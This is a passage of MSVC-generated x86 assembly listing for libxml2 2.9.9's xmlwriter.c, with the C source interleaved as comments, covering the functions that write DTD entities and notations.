count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar); lea ebx, DWORD PTR [edi+28] add esi, eax push ebx push 1 push DWORD PTR [edi] call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 4174 : if (count < 0) test eax, eax js $LN5@xmlTextWri ; 4175 : return -1; ; 4176 : sum += count; ; 4177 : count = push DWORD PTR _pubid$[ebp] add esi, eax push DWORD PTR [edi] call _xmlOutputBufferWriteString add esp, 8 ; 4178 : xmlOutputBufferWriteString(writer->out, (const char *) pubid); ; 4179 : if (count < 0) test eax, eax js $LN5@xmlTextWri ; 4180 : return -1; ; 4181 : sum += count; ; 4182 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar); push ebx push 1 push DWORD PTR [edi] add esi, eax call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 4183 : if (count < 0) test eax, eax js $LN5@xmlTextWri ; 4184 : return -1; ; 4185 : sum += count; add esi, eax mov eax, DWORD PTR _pubid$[ebp] jmp SHORT $LN18@xmlTextWri $LN32@xmlTextWri: lea ebx, DWORD PTR [edi+28] $LN18@xmlTextWri: ; 4186 : } ; 4187 : ; 4188 : if (sysid != 0) { cmp DWORD PTR _sysid$[ebp], 0 je SHORT $LN23@xmlTextWri ; 4189 : if (pubid == 0) { test eax, eax jne SHORT $LN24@xmlTextWri ; 4190 : count = xmlOutputBufferWriteString(writer->out, " SYSTEM"); push OFFSET ??_C@_07FCENLLFI@?5SYSTEM@ push DWORD PTR [edi] call _xmlOutputBufferWriteString add esp, 8 ; 4191 : if (count < 0) test eax, eax js $LN5@xmlTextWri ; 4192 : return -1; ; 4193 : sum += count; add esi, eax $LN24@xmlTextWri: ; 4194 : } ; 4195 : count = xmlOutputBufferWriteString(writer->out, " "); push OFFSET ??_C@_01CLKCMJKC@?5@ push DWORD PTR [edi] call _xmlOutputBufferWriteString add esp, 8 ; 4196 : if (count < 0) test eax, eax js $LN5@xmlTextWri ; 4197 : return -1; ; 4198 : sum += count; ; 4199 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar); push ebx push 1 push DWORD PTR [edi] add esi, eax call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 4200 : if (count < 0) test eax, eax js $LN5@xmlTextWri ; 4201 : return -1; ; 4202 : sum += count; ; 4203 : count = push DWORD PTR _sysid$[ebp] add esi, eax push DWORD PTR [edi] call _xmlOutputBufferWriteString add esp, 8 ; 4204 : xmlOutputBufferWriteString(writer->out, (const char *) sysid); ; 4205 : if (count < 0) test eax, eax js $LN5@xmlTextWri ; 4206 : return -1; ; 4207 : sum += count; ; 4208 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar); push ebx push 1 push DWORD PTR [edi] add esi, eax call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 4209 : if (count < 0) test eax, eax js $LN5@xmlTextWri ; 4210 : return -1; ; 4211 : sum += count; add esi, eax $LN23@xmlTextWri: ; 4212 : } ; 4213 : ; 4214 : count = xmlOutputBufferWriteString(writer->out, ">"); push OFFSET ??_C@_01PPODPGHN@?$DO@ push DWORD PTR [edi] call _xmlOutputBufferWriteString add esp, 8 ; 4215 : if (count < 0) test eax, eax js $LN5@xmlTextWri ; 4216 : return -1; ; 4217 : sum += count; pop edi add eax, esi ; 4218 : ; 4219 : return sum; ; 4220 : } pop esi pop ebx pop ebp ret 0 _xmlTextWriterWriteDTDNotation ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteDTDEntity _TEXT SEGMENT _writer$ = 8 ; size = 4 _pe$ = 12 ; size = 4 _name$ = 16 ; size = 4 _pubid$ = 20 ; size = 4 _sysid$ = 24 ; size = 4 _ndataid$ = 28 ; size = 4 _content$ = 32 ; size = 4 _xmlTextWriterWriteDTDEntity PROC ; COMDAT ; 3861 : { push ebp mov ebp, esp mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 cmp DWORD PTR _content$[ebp], 0 mov eax, DWORD PTR _sysid$[ebp] mov ecx, DWORD PTR _pubid$[ebp] jne SHORT $LN2@xmlTextWri ; 3862 : if ((content == NULL) && (pubid == NULL) && (sysid == NULL)) test ecx, ecx jne SHORT $LN2@xmlTextWri test eax, eax je SHORT $LN6@xmlTextWri $LN2@xmlTextWri: ; 3863 : return -1; ; 3864 : if ((pe != 0) && (ndataid != NULL)) mov edx, DWORD PTR _pe$[ebp] test edx, edx je SHORT $LN3@xmlTextWri cmp DWORD PTR _ndataid$[ebp], 0 je SHORT $LN3@xmlTextWri $LN6@xmlTextWri: ; 3865 : return -1; or eax, -1 ; 3872 : sysid, ndataid); ; 3873 : } pop ebp ret 0 $LN3@xmlTextWri: ; 3866 : ; 3867 : if ((pubid == NULL) && (sysid == NULL)) test ecx, ecx jne SHORT $LN4@xmlTextWri test eax, eax jne SHORT $LN4@xmlTextWri ; 3868 : return xmlTextWriterWriteDTDInternalEntity(writer, pe, name, push DWORD PTR _content$[ebp] push DWORD PTR _name$[ebp] push edx push DWORD PTR _writer$[ebp] call _xmlTextWriterWriteDTDInternalEntity add esp, 16 ; 00000010H ; 3872 : sysid, ndataid); ; 3873 : } pop ebp ret 0 $LN4@xmlTextWri: ; 3869 : content); ; 3870 : ; 3871 : return xmlTextWriterWriteDTDExternalEntity(writer, pe, name, pubid, push DWORD PTR _ndataid$[ebp] push eax push ecx push DWORD PTR _name$[ebp] push edx push DWORD PTR _writer$[ebp] call _xmlTextWriterWriteDTDExternalEntity add esp, 24 ; 00000018H ; 3872 : sysid, ndataid); ; 3873 : } pop ebp ret 0 _xmlTextWriterWriteDTDEntity ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteDTDExternalEntityContents _TEXT SEGMENT _writer$ = 8 ; size = 4 _pubid$ = 12 ; size = 4 _sysid$ = 16 ; size = 4 _ndataid$ = 20 ; size = 4 _xmlTextWriterWriteDTDExternalEntityContents PROC ; COMDAT ; 3983 : { push ebp mov ebp, esp push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov edi, DWORD PTR _writer$[ebp] test edi, edi jne SHORT $LN4@xmlTextWri ; 3984 : int count; ; 3985 : int sum; ; 3986 : xmlLinkPtr lk; ; 3987 : xmlTextWriterStackEntry *p; ; 3988 : ; 3989 : if (writer == NULL) { ; 3990 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR, push OFFSET ??_C@_0EI@DDDMEPLI@xmlTextWriterWriteDTDExternalEn@ push 1 push edi call _xmlWriterErrMsg add esp, 12 ; 0000000cH ; 3991 : "xmlTextWriterWriteDTDExternalEntityContents: xmlTextWriterPtr invalid!\n"); ; 3992 : return -1; or eax, -1 pop edi ; 4097 : } pop ebp ret 0 $LN4@xmlTextWri: push ebx push esi ; 3993 : } ; 3994 : ; 3995 : sum = 0; ; 3996 : lk = xmlListFront(writer->nodes); push DWORD PTR [edi+4] xor esi, esi call _xmlListFront add esp, 4 ; 3997 : if (lk == 0) { test eax, eax je $LN10@xmlTextWri ; 3998 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR, ; 3999 : "xmlTextWriterWriteDTDExternalEntityContents: you must call xmlTextWriterStartDTDEntity before the call to this function!\n"); ; 4000 : return -1; ; 4001 : } ; 4002 : ; 4003 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData add esp, 4 ; 4004 : if (p == 0) test eax, eax je $LN29@xmlTextWri ; 4005 : return -1; ; 4006 : ; 4007 : switch (p->state) { mov eax, DWORD PTR [eax+4] sub eax, 13 ; 0000000dH je SHORT $LN9@xmlTextWri sub eax, 2 jne $LN10@xmlTextWri ; 4008 : case XML_TEXTWRITER_DTD_ENTY: ; 4009 : break; ; 4010 : case XML_TEXTWRITER_DTD_PENT: ; 4011 : if (ndataid != NULL) { cmp DWORD PTR _ndataid$[ebp], esi je SHORT $LN9@xmlTextWri ; 4012 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR, push OFFSET ??_C@_0FM@COPKODIE@xmlTextWriterWriteDTDExternalEn@ ; 4013 : "xmlTextWriterWriteDTDExternalEntityContents: notation not allowed with parameter entities!\n"); ; 4014 : return -1; ; 4015 : } ; 4016 : break; ; 4017 : default: ; 4018 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR, push 1 push edi call _xmlWriterErrMsg add esp, 12 ; 0000000cH ; 4019 : "xmlTextWriterWriteDTDExternalEntityContents: you must call xmlTextWriterStartDTDEntity before the call to this function!\n"); ; 4020 : return -1; or eax, -1 pop esi pop ebx pop edi ; 4097 : } pop ebp ret 0 $LN9@xmlTextWri: ; 4021 : } ; 4022 : ; 4023 : if (pubid != 0) { mov ebx, DWORD PTR _pubid$[ebp] mov eax, DWORD PTR _sysid$[ebp] test ebx, ebx je $LN28@xmlTextWri ; 4024 : if (sysid == 0) { test eax, eax jne SHORT $LN12@xmlTextWri ; 4025 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR, push OFFSET ??_C@_0EI@PKOPPIFG@xmlTextWriterWriteDTDExternalEn@ push 1 push edi call _xmlWriterErrMsg add esp, 12 ; 0000000cH or eax, -1 pop esi pop ebx pop edi ; 4097 : } pop ebp ret 0 $LN12@xmlTextWri: ; 4026 : "xmlTextWriterWriteDTDExternalEntityContents: system identifier needed!\n"); ; 4027 : return -1; ; 4028 : } ; 4029 : ; 4030 : count = xmlOutputBufferWriteString(writer->out, " PUBLIC "); push OFFSET ??_C@_08GBBLECIH@?5PUBLIC?5@ push DWORD PTR [edi] call _xmlOutputBufferWriteString mov esi, eax add esp, 8 ; 4031 : if (count < 0) test esi, esi js $LN29@xmlTextWri ; 4032 : return -1; ; 4033 : sum += count; ; 4034 : ; 4035 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar); lea eax, DWORD PTR [edi+28] push eax push 1 push DWORD PTR [edi] call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 4036 : if (count < 0) test eax, eax js $LN29@xmlTextWri ; 4037 : return -1; ; 4038 : sum += count; ; 4039 : ; 4040 : count = push ebx push DWORD PTR [edi] add esi, eax call _xmlOutputBufferWriteString add esp, 8 ; 4041 : xmlOutputBufferWriteString(writer->out, (const char *) pubid); ; 4042 : if (count < 0) test eax, eax js $LN29@xmlTextWri ; 4043 : return -1; ; 4044 : sum += count; add esi, eax ; 4045 : ; 4046 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar); lea eax, DWORD PTR [edi+28] push eax push 1 push DWORD PTR [edi] call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 4047 : if (count < 0) test eax, eax js $LN29@xmlTextWri ; 4048 : return -1; ; 4049 : sum += count; add esi, eax mov eax, DWORD PTR _sysid$[ebp] $LN28@xmlTextWri: ; 4050 : } ; 4051 : ; 4052 : if (sysid != 0) { test eax, eax je SHORT $LN17@xmlTextWri ; 4053 : if (pubid == 0) { test ebx, ebx jne SHORT $LN18@xmlTextWri ; 4054 : count = xmlOutputBufferWriteString(writer->out, " SYSTEM"); push OFFSET ??_C@_07FCENLLFI@?5SYSTEM@ push DWORD PTR [edi] call _xmlOutputBufferWriteString add esp, 8 ; 4055 : if (count < 0) test eax, eax js $LN29@xmlTextWri ; 4056 : return -1; ; 4057 : sum += count; add esi, eax $LN18@xmlTextWri: ; 4058 : } ; 4059 : ; 4060 : count = xmlOutputBufferWriteString(writer->out, " "); push OFFSET ??_C@_01CLKCMJKC@?5@ push DWORD PTR [edi] call _xmlOutputBufferWriteString add esp, 8 ; 4061 : if (count < 0) test eax, eax js $LN29@xmlTextWri ; 4062 : return -1; ; 4063 : sum += count; ; 4064 : ; 4065 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar); lea ebx, DWORD PTR [edi+28] add esi, eax push ebx push 1 push DWORD PTR [edi] call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 4066 : if (count < 0) test eax, eax js SHORT $LN29@xmlTextWri ; 4067 : return -1; ; 4068 : sum += count; ; 4069 : ; 4070 : count = push DWORD PTR _sysid$[ebp] add esi, eax push DWORD PTR [edi] call _xmlOutputBufferWriteString add esp, 8 ; 4071 : xmlOutputBufferWriteString(writer->out, (const char *) sysid); ; 4072 : if (count < 0) test eax, eax js SHORT $LN29@xmlTextWri ; 4073 : return -1; ; 4074 : sum += count; ; 4075 : ; 4076 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar); push ebx push 1 push DWORD PTR [edi] add esi, eax call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 4077 : if (count < 0) test eax, eax js SHORT $LN29@xmlTextWri ; 4078 : return -1; ; 4079 : sum += count; add esi, eax $LN17@xmlTextWri: ; 4080 : } ; 4081 : ; 4082 : if (ndataid != NULL) { mov ebx, DWORD PTR _ndataid$[ebp] test ebx, ebx je SHORT $LN24@xmlTextWri ; 4083 : count = xmlOutputBufferWriteString(writer->out, " NDATA "); push OFFSET ??_C@_07CGHGCOMH@?5NDATA?5@ push DWORD PTR [edi] call _xmlOutputBufferWriteString add esp, 8 ; 4084 : if (count < 0) test eax, eax js SHORT $LN29@xmlTextWri ; 4085 : return -1; ; 4086 : sum += count; ; 4087 : ; 4088 : count = push ebx push DWORD PTR [edi] add esi, eax call _xmlOutputBufferWriteString add esp, 8 ; 4089 : xmlOutputBufferWriteString(writer->out, ; 4090 : (const char *) ndataid); ; 4091 : if (count < 0) test eax, eax js SHORT $LN29@xmlTextWri ; 4092 : return -1; ; 4093 : sum += count; add esi, eax $LN24@xmlTextWri: ; 4094 : } ; 4095 : ; 4096 : return sum; mov eax, esi pop esi pop ebx pop edi ; 4097 : } pop ebp ret 0 $LN10@xmlTextWri: ; 4013 : "xmlTextWriterWriteDTDExternalEntityContents: notation not allowed with parameter entities!\n"); ; 4014 : return -1; ; 4015 : } ; 4016 : break; ; 4017 : default: ; 4018 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR, push OFFSET ??_C@_0HK@MIJHHHOH@xmlTextWriterWriteDTDExternalEn@ push 1 push edi call _xmlWriterErrMsg add esp, 12 ; 0000000cH $LN29@xmlTextWri: ; 4019 : "xmlTextWriterWriteDTDExternalEntityContents: you must call xmlTextWriterStartDTDEntity before the call to this function!\n"); ; 4020 : return -1; pop esi pop ebx or eax, -1 pop edi ; 4097 : } pop ebp ret 0 _xmlTextWriterWriteDTDExternalEntityContents ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteDTDExternalEntity _TEXT SEGMENT _writer$ = 8 ; size = 4 _pe$ = 12 ; size = 4 _name$ = 16 ; size = 4 _pubid$ = 20 ; size = 4 _sysid$ = 24 ; size = 4 _ndataid$ = 28 ; size = 4 _xmlTextWriterWriteDTDExternalEntity PROC ; COMDAT ; 3937 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 cmp DWORD PTR _pubid$[ebp], 0 mov edi, DWORD PTR _sysid$[ebp] jne SHORT $LN2@xmlTextWri ; 3938 : int count; ; 3939 : int sum; ; 3940 : ; 3941 : if (((pubid == NULL) && (sysid == NULL))) test edi, edi je SHORT $LN8@xmlTextWri $LN2@xmlTextWri: ; 3942 : return -1; ; 3943 : if ((pe != 0) && (ndataid != NULL)) mov eax, DWORD PTR _pe$[ebp] test eax, eax je SHORT $LN3@xmlTextWri cmp DWORD PTR _ndataid$[ebp], 0 jne SHORT $LN8@xmlTextWri $LN3@xmlTextWri: ; 3944 : return -1; ; 3945 : ; 3946 : sum = 0; ; 3947 : count = xmlTextWriterStartDTDEntity(writer, pe, name); push DWORD PTR _name$[ebp] push eax push DWORD PTR _writer$[ebp] call _xmlTextWriterStartDTDEntity mov esi, eax add esp, 12 ; 0000000cH ; 3948 : if (count == -1) cmp esi, -1 je SHORT $LN8@xmlTextWri ; 3949 : return -1; ; 3950 : sum += count; ; 3951 : ; 3952 : count = push DWORD PTR _ndataid$[ebp] push edi push DWORD PTR _pubid$[ebp] mov edi, DWORD PTR _writer$[ebp] push edi call _xmlTextWriterWriteDTDExternalEntityContents add esp, 16 ; 00000010H ; 3953 : xmlTextWriterWriteDTDExternalEntityContents(writer, pubid, sysid, ; 3954 : ndataid); ; 3955 : if (count < 0) test eax, eax js SHORT $LN8@xmlTextWri ; 3956 : return -1; ; 3957 : sum += count; ; 3958 : ; 3959 : count = xmlTextWriterEndDTDEntity(writer); push edi add esi, eax call _xmlTextWriterEndDTDEntity add esp, 4 ; 3960 : if (count == -1) cmp eax, -1 je SHORT $LN8@xmlTextWri ; 3962 : sum += count; pop edi add eax, esi ; 3963 : ; 3964 : return sum; ; 3965 : } pop esi pop ebp ret 0 $LN8@xmlTextWri: pop edi ; 3961 : return -1; or eax, -1 ; 3963 : ; 3964 : return sum; ; 3965 : } pop esi pop ebp ret 0 _xmlTextWriterWriteDTDExternalEntity ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteDTDInternalEntity _TEXT SEGMENT _writer$ = 8 ; size = 4 _pe$ = 12 ; size = 4 _name$ = 16 ; size = 4 _content$ = 20 ; size = 4 _xmlTextWriterWriteDTDInternalEntity PROC ; COMDAT ; 3891 : { push ebp mov ebp, esp push ebx push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _name$[ebp] test eax, eax je SHORT $LN3@xmlTextWri ; 3892 : int count; ; 3893 : int sum; ; 3894 : ; 3895 : if ((name == NULL) || (*name == '\0') || (content == NULL)) cmp BYTE PTR [eax], 0 je SHORT $LN3@xmlTextWri cmp DWORD PTR _content$[ebp], 0 je SHORT $LN3@xmlTextWri ; 3897 : ; 3898 : sum = 0; ; 3899 : count = xmlTextWriterStartDTDEntity(writer, pe, name); mov ebx, DWORD PTR _writer$[ebp] push eax push DWORD PTR _pe$[ebp] push ebx call _xmlTextWriterStartDTDEntity mov esi, eax add esp, 12 ; 0000000cH ; 3900 : if (count == -1) cmp esi, -1 je SHORT $LN3@xmlTextWri ; 3901 : return -1; ; 3902 : sum += count; ; 3903 : ; 3904 : count = xmlTextWriterWriteString(writer, content); push DWORD PTR _content$[ebp] push ebx call _xmlTextWriterWriteString add esp, 8 ; 3905 : if (count == -1) cmp eax, -1 je SHORT $LN3@xmlTextWri ; 3906 : return -1; ; 3907 : sum += count; ; 3908 : ; 3909 : count = xmlTextWriterEndDTDEntity(writer); push ebx add esi, eax call _xmlTextWriterEndDTDEntity add esp, 4 ; 3910 : if (count == -1) cmp eax, -1 je SHORT $LN3@xmlTextWri ; 3911 : return -1; ; 3912 : sum += count; add eax, esi pop esi ; 3913 : ; 3914 : return sum; ; 3915 : } pop ebx pop ebp ret 0 $LN3@xmlTextWri: pop esi ; 3896 : return -1; or eax, -1 ; 3913 : ; 3914 : return sum; ; 3915 : } pop ebx pop ebp ret 0 _xmlTextWriterWriteDTDInternalEntity ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteVFormatDTDInternalEntity _TEXT SEGMENT _writer$ = 8 ; size = 4 _pe$ = 12 ; size = 4 _name$ = 16 ; size = 4 _format$ = 20 ; size = 4 _argptr$ = 24 ; size = 4 _xmlTextWriterWriteVFormatDTDInternalEntity PROC ; COMDAT ; 3822 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN5@xmlTextWri ; 3823 : int rc; ; 3824 : xmlChar *buf; ; 3825 : ; 3826 : if (writer == NULL) ; 3827 : return -1; ; 3828 : ; 3829 : buf = xmlTextWriterVSprintf(format, argptr); push DWORD PTR _argptr$[ebp] push DWORD PTR _format$[ebp] call _xmlTextWriterVSprintf mov edi, eax add esp, 8 ; 3830 : if (buf == NULL) test edi, edi je SHORT $LN5@xmlTextWri ; 3832 : ; 3833 : rc = xmlTextWriterWriteDTDInternalEntity(writer, pe, name, buf); push edi push DWORD PTR _name$[ebp] push DWORD PTR _pe$[ebp] push esi call _xmlTextWriterWriteDTDInternalEntity ; 3834 : ; 3835 : xmlFree(buf); push edi mov esi, eax call DWORD PTR _xmlFree add esp, 20 ; 00000014H ; 3836 : return rc; mov eax, esi pop edi ; 3837 : } pop esi pop ebp ret 0 $LN5@xmlTextWri: pop edi ; 3831 : return -1; or eax, -1 ; 3837 : } pop esi pop ebp ret 0 _xmlTextWriterWriteVFormatDTDInternalEntity ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteFormatDTDInternalEntity _TEXT SEGMENT _writer$ = 8 ; size = 4 _pe$ = 12 ; size = 4 _name$ = 16 ; size = 4 _format$ = 20 ; size = 4 _xmlTextWriterWriteFormatDTDInternalEntity PROC ; COMDAT ; 3791 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 ; 3826 : if (writer == NULL) mov esi, DWORD PTR _writer$[ebp] test esi, esi jne SHORT $LN4@xmlTextWri ; 3792 : int rc; ; 3793 : va_list ap; ; 3794 : ; 3795 : va_start(ap, format); ; 3796 : ; 3797 : rc = xmlTextWriterWriteVFormatDTDInternalEntity(writer, pe, name, ; 3798 : format, ap); ; 3799 : ; 3800 : va_end(ap); ; 3801 : return rc; or eax, -1 pop esi ; 3802 : } pop ebp ret 0 $LN4@xmlTextWri: push edi ; 3829 : buf = xmlTextWriterVSprintf(format, argptr); lea eax, DWORD PTR _format$[ebp+4] push eax push DWORD PTR _format$[ebp] call _xmlTextWriterVSprintf mov edi, eax add esp, 8 ; 3830 : if (buf == NULL) test edi, edi jne SHORT $LN5@xmlTextWri ; 3792 : int rc; ; 3793 : va_list ap; ; 3794 : ; 3795 : va_start(ap, format); ; 3796 : ; 3797 : rc = xmlTextWriterWriteVFormatDTDInternalEntity(writer, pe, name, ; 3798 : format, ap); ; 3799 : ; 3800 : va_end(ap); ; 3801 : return rc; pop edi or eax, -1 pop esi ; 3802 : } pop ebp ret 0 $LN5@xmlTextWri: ; 3833 : rc = xmlTextWriterWriteDTDInternalEntity(writer, pe, name, buf); push edi push DWORD PTR _name$[ebp] push DWORD PTR _pe$[ebp] push esi call _xmlTextWriterWriteDTDInternalEntity ; 3834 : ; 3835 : xmlFree(buf); push edi mov esi, eax call DWORD PTR _xmlFree add esp, 20 ; 00000014H ; 3792 : int rc; ; 3793 : va_list ap; ; 3794 : ; 3795 : va_start(ap, format); ; 3796 : ; 3797 : rc = xmlTextWriterWriteVFormatDTDInternalEntity(writer, pe, name, ; 3798 : format, ap); ; 3799 : ; 3800 : va_end(ap); ; 3801 : return rc; mov eax, esi pop edi pop esi ; 3802 : } pop ebp ret 0 _xmlTextWriterWriteFormatDTDInternalEntity ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterEndDTDEntity _TEXT SEGMENT _writer$ = 8 ; size = 4 _xmlTextWriterEndDTDEntity PROC ; COMDAT ; 3727 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN15@xmlTextWri ; 3728 : int count; ; 3729 : int sum; ; 3730 : xmlLinkPtr lk; ; 3731 : xmlTextWriterStackEntry *p; ; 3732 : ; 3733 : if (writer == NULL) ; 3734 : return -1; ; 3735 : ; 3736 : sum = 0; push DWORD PTR [esi+4] xor edi, edi ; 3737 : lk = xmlListFront(writer->nodes); call _xmlListFront add esp, 4 ; 3738 : if (lk == 0) test eax, eax je SHORT $LN15@xmlTextWri ; 3739 : return -1; ; 3740 : ; 3741 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData add esp, 4 ; 3742 : if (p == 0) test eax, eax je SHORT $LN15@xmlTextWri ; 3743 : return -1; ; 3744 : ; 3745 : switch (p->state) { mov eax, DWORD PTR [eax+4] sub eax, 13 ; 0000000dH je SHORT $LN9@xmlTextWri sub eax, 1 je SHORT $LN7@xmlTextWri sub eax, 1 je SHORT $LN9@xmlTextWri $LN15@xmlTextWri: pop edi ; 3766 : return -1; or eax, -1 ; 3772 : } pop esi pop ebp ret 0 $LN7@xmlTextWri: ; 3746 : case XML_TEXTWRITER_DTD_ENTY_TEXT: ; 3747 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar); lea eax, DWORD PTR [esi+28] push eax push 1 push DWORD PTR [esi] call _xmlOutputBufferWrite mov edi, eax add esp, 12 ; 0000000cH ; 3748 : if (count < 0) test edi, edi js SHORT $LN15@xmlTextWri $LN9@xmlTextWri: ; 3749 : return -1; ; 3750 : sum += count; ; 3751 : /* Falls through. */ ; 3752 : case XML_TEXTWRITER_DTD_ENTY: ; 3753 : case XML_TEXTWRITER_DTD_PENT: ; 3754 : count = xmlOutputBufferWriteString(writer->out, ">"); push OFFSET ??_C@_01PPODPGHN@?$DO@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 3755 : if (count < 0) test eax, eax js SHORT $LN15@xmlTextWri ; 3756 : return -1; ; 3757 : sum += count; add edi, eax ; 3758 : break; ; 3759 : default: ; 3760 : return -1; ; 3761 : } ; 3762 : ; 3763 : if (writer->indent) { cmp DWORD PTR [esi+16], 0 je SHORT $LN12@xmlTextWri ; 3764 : count = xmlOutputBufferWriteString(writer->out, "\n"); push OFFSET ??_C@_01EEMJAFIK@?6@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 3765 : if (count < 0) test eax, eax js SHORT $LN15@xmlTextWri ; 3767 : sum += count; add edi, eax $LN12@xmlTextWri: ; 3768 : } ; 3769 : ; 3770 : xmlListPopFront(writer->nodes); push DWORD PTR [esi+4] call _xmlListPopFront add esp, 4 ; 3771 : return sum; mov eax, edi pop edi ; 3772 : } pop esi pop ebp ret 0 _xmlTextWriterEndDTDEntity ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterStartDTDEntity _TEXT SEGMENT _writer$ = 8 ; size = 4 _pe$ = 12 ; size = 4 _name$ = 16 ; size = 4 _xmlTextWriterStartDTDEntity PROC ; COMDAT ; 3628 : { push ebp mov ebp, esp push ebx push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN5@xmlTextWri ; 3629 : int count; ; 3630 : int sum; ; 3631 : xmlLinkPtr lk; ; 3632 : xmlTextWriterStackEntry *p; ; 3633 : ; 3634 : if (writer == NULL || name == NULL || *name == '\0') mov eax, DWORD PTR _name$[ebp] test eax, eax je SHORT $LN5@xmlTextWri cmp BYTE PTR [eax], 0 je SHORT $LN5@xmlTextWri ; 3635 : return -1; ; 3636 : ; 3637 : sum = 0; ; 3638 : lk = xmlListFront(writer->nodes); push DWORD PTR [esi+4] xor edi, edi call _xmlListFront add esp, 4 ; 3639 : if (lk != 0) { test eax, eax je SHORT $LN12@xmlTextWri ; 3640 : ; 3641 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData mov ebx, eax add esp, 4 ; 3642 : if (p != 0) { test ebx, ebx je SHORT $LN12@xmlTextWri ; 3643 : switch (p->state) { mov eax, DWORD PTR [ebx+4] sub eax, edi je SHORT $LN12@xmlTextWri sub eax, 7 je SHORT $LN8@xmlTextWri sub eax, 1 je SHORT $LN12@xmlTextWri $LN5@xmlTextWri: pop edi ; 3713 : ; 3714 : return sum; ; 3715 : } pop esi or eax, -1 pop ebx pop ebp ret 0 $LN8@xmlTextWri: ; 3644 : case XML_TEXTWRITER_DTD: ; 3645 : count = xmlOutputBufferWriteString(writer->out, " ["); push OFFSET ??_C@_02GBLMOEJC@?5?$FL@ push DWORD PTR [esi] call _xmlOutputBufferWriteString mov edi, eax add esp, 8 ; 3646 : if (count < 0) test edi, edi js SHORT $LN5@xmlTextWri ; 3647 : return -1; ; 3648 : sum += count; ; 3649 : if (writer->indent) { cmp DWORD PTR [esi+16], 0 je SHORT $LN10@xmlTextWri ; 3650 : count = push OFFSET ??_C@_01EEMJAFIK@?6@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 3651 : xmlOutputBufferWriteString(writer->out, "\n"); ; 3652 : if (count < 0) test eax, eax js SHORT $LN5@xmlTextWri ; 3653 : return -1; ; 3654 : sum += count; add edi, eax $LN10@xmlTextWri: ; 3655 : } ; 3656 : p->state = XML_TEXTWRITER_DTD_TEXT; mov DWORD PTR [ebx+4], 8 $LN12@xmlTextWri: ; 3657 : /* fallthrough */ ; 3658 : case XML_TEXTWRITER_DTD_TEXT: ; 3659 